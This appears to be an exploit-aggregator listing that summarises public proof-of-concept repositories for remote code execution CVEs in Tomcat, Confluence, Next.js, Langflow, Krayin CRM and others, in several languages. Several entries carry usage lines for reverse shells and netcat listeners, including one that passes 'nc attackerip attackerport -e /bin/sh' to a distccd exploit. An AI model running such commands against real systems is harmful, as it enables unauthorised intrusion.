cve-2025-24813-poc

CVE-2025-24813 Exploit PoC per RCE su Apache Tomcat Questo repository contiene un exploit proof-of-concept per CVE-2025-24813, una vulnerabilità di deserializzazione Java in Apache Tomcat. Basato su absholi7ly/POC-CVE-2025-24813/. Prerequisiti Docker Configurazione 1. Installa le dipendenze:...

CVE-2024-53900

CVE-2024-53900 - Mongoose populate.match $where RCE Questa repository fornisce un ambiente vulnerabile riproducibile e un PoC per CVE-2024-53900 , una vulnerabilità critica di Remote Code Execution RCE in Mongoose 8.8.3. 📌 Dettagli della vulnerabilità CVE : CVE-2024-53900 Versioni affette :...

watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260

CVE-2025-71257 e CVE-2025-71260 Catena di Esecuzione Remota di Codice Pre-Autenticata su BMC FootPrints Strumento Generatore di Artefatti di Rilevamento per la Catena di Esecuzione Remota di Codice Pre-Autenticata su BMC FootPrints Descrizione Questo generatore di artefatti di rilevamento verific...

CVE-2023-22527

CVE-2023-22527 - Atlassian Confluence: Esecuzione di codice in remoto Panoramica CVE-2023-22527 è una vulnerabilità critica di esecuzione di codice in remoto in Atlassian Confluence Data Center e Server. Questa vulnerabilità consente ad attaccanti non autenticati di eseguire codice arbitrario sul...

CVE-2024-12877-Exploit

GO-TO CVE – CVE-2024-12877-Exploit सप्ताह 66 | लेखक: Ali Soltani soltanali0 GO-TO CVE श्रृंखला के सप्ताह 66 में आपका स्वागत है, जहाँ हम कमजोरियों का विश्लेषण करते हैं, मूल कारणों की जाँच करते हैं, और एक सुरक्षित, शैक्षिक संदर्भ में व्यावहारिक शोषण तकनीकों का प्रदर्शन करते हैं। 🚨 अवलोकन...

CVE-2018-11776-FIS

CVE-2018-11776 è una vulnerabilità di sicurezza in Apache Struts, un framework popolare per lo sviluppo di applicazioni web. Questa vulnerabilità consente agli aggressori di effettuare attacchi remoti tramite l'iniezione di codice malevolo nei campi dati delle richieste HTTP. Questa vulnerabilità...

ActiveMQ-cve-2026-42588-scanner-gui

ActiveMQ-cve-2026-42588-scanner-gui 【Exploração com VPS recomendado para usuários com VPS】 1. Insira o IP público do VPS e a porta de escuta ex: 9999 2. Insira o comando a ser executado ex: touch /tmp/cvepwned 3. Clique em 【Gerar comando VPS】→ Clique em 【Copiar comando】 4. Faça login SSH no VPS,...

CVE-2025-55182POC

CVE-2025-55182 React Server Components RCE POC यह प्रोजेक्ट CVE-2025-55182 - React Server Components RSC RCE Proof of Concept है, जो दर्शाता है कि विशिष्ट परिस्थितियों में vm.runInThisContext और दुर्भावनापूर्ण ACTION payload के माध्यम से रिमोट कोड एक्ज़ीक्यूशन RCE ट्रिगर किया जा सकता है। Python...

CVE-2021-21425-RCE

questa è la mia versione, ne ho trovate molte in internet ma sono troppo scadenti UTILIZZO root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 aspetta.. per 60 secondi otterrai una shell sul tuo listener...

CVE-2023-27350-Ongoing-Exploitation-of-PaperCut-Remote-Code-Execution-Vulnerability

Questo repository non contiene un README...

PoC-CVE-2025-66224

OrangeHRM RCE Exploit - CVE-2025-66224 📋 Descrizione Questa Proof of Concept PoC dimostra una vulnerabilità di Remote Code Execution RCE in OrangeHRM tramite command injection nel parametro di configurazione sendmailpath. L'exploit funziona in questo modo: 1. Inietta un payload dannoso nel databa...

CVE-2026-42945

CVE-2026-42945 — NGINX Rift Overflow del buffer heap in NGINXngxhttprewritemodule...

CVE-2025-66478-Exploit-Poc

PoC per Next.js CVE-2025-66478 Inglese | 한국어 Questo repository contiene una Prova di Concetto PoC per riprodurre e studiare la vulnerabilità Next.js CVE-2025-66478. Consiste in un'applicazione Next.js vulnerabile e uno script di exploit in Python per testare la vulnerabilità. Cos'è CVE-2025-66478...

distccd_rce_CVE-2004-2687

هدف هذا النص البرمجي هو عدم استخدام Metasploit والقيام بذلك يدويًا. الاستخدام: root@kitploit: nc -lvnp 4466 تشغيل الاستغلال: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Exploit di Remote Code Execution per Langflow CVE-2025-3248 Caratteristiche Rilevamento automatico della vulnerabilità Modalità di exploit multiple: Shell interattiva Esecuzione di un singolo comando Connessione reverse shell Caricamento di file Interfaccia uten...

CVE-2025-15467

CVE-2025-15467 OpenSSL CMS AuthEnvelopedData 解析におけるスタックバッファオーバーフロー 脆弱性 evpciphergetasn1aeadparams が CMS AuthEnvelopedData コンテンツ内の AEAD 暗号パラメータ（例: AES-GCM）を解析する際に、スタックバッファオーバーフローが存在します。過大なサイズの IV が 16 バイトのスタックバッファをオーバーフローさせ、サービス拒否および潜在的なリモートコード実行を引き起こす可能性があります。 影響を受けるバージョン...

CVE-2026-14280

The Events Manager – Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 7.3.7.4 via the emoptionssave function. This makes it possible for authenticated attackers, with administrator-level access and above, to...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE Descrizione Script PoC per la vulnerabilità critica in Krayin CRM v2.2.x che consente RCE autenticato tramite upload di file senza restrizioni. Utilizzo root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Revers...

CVE-2023-45878_to_RCE

CVE-2023-45878 a RCE Questo script incatena e automatizza la scrittura arbitraria di file in RCE su Gibbon LMS attraverso lo sfruttamento di CVE-2023-45878. Lo script esegue i seguenti passaggi: 1. Genera una reverse shell stageless con msfvenom per Windows 2. Carica una webshell sfruttando...

CVE-2025-55182-analysis

1. نظرة عامة على الثغرة في اليومين الماضيين، انتشرت أنباء عن ثغرة RCE تنفيذ التعليمات البرمجية عن بُعد في React عبر إلغاء التسلسل، وقد منحها التقييم الرسمي CVSS درجة كاملة 10.0، مماثلة لـ Log4j في ذلك الوقت. على الفور، انتشرت شائعات زعمت أنها "Log4j للواجهات الأمامية الحديثة"، مما تسبب في حالة من...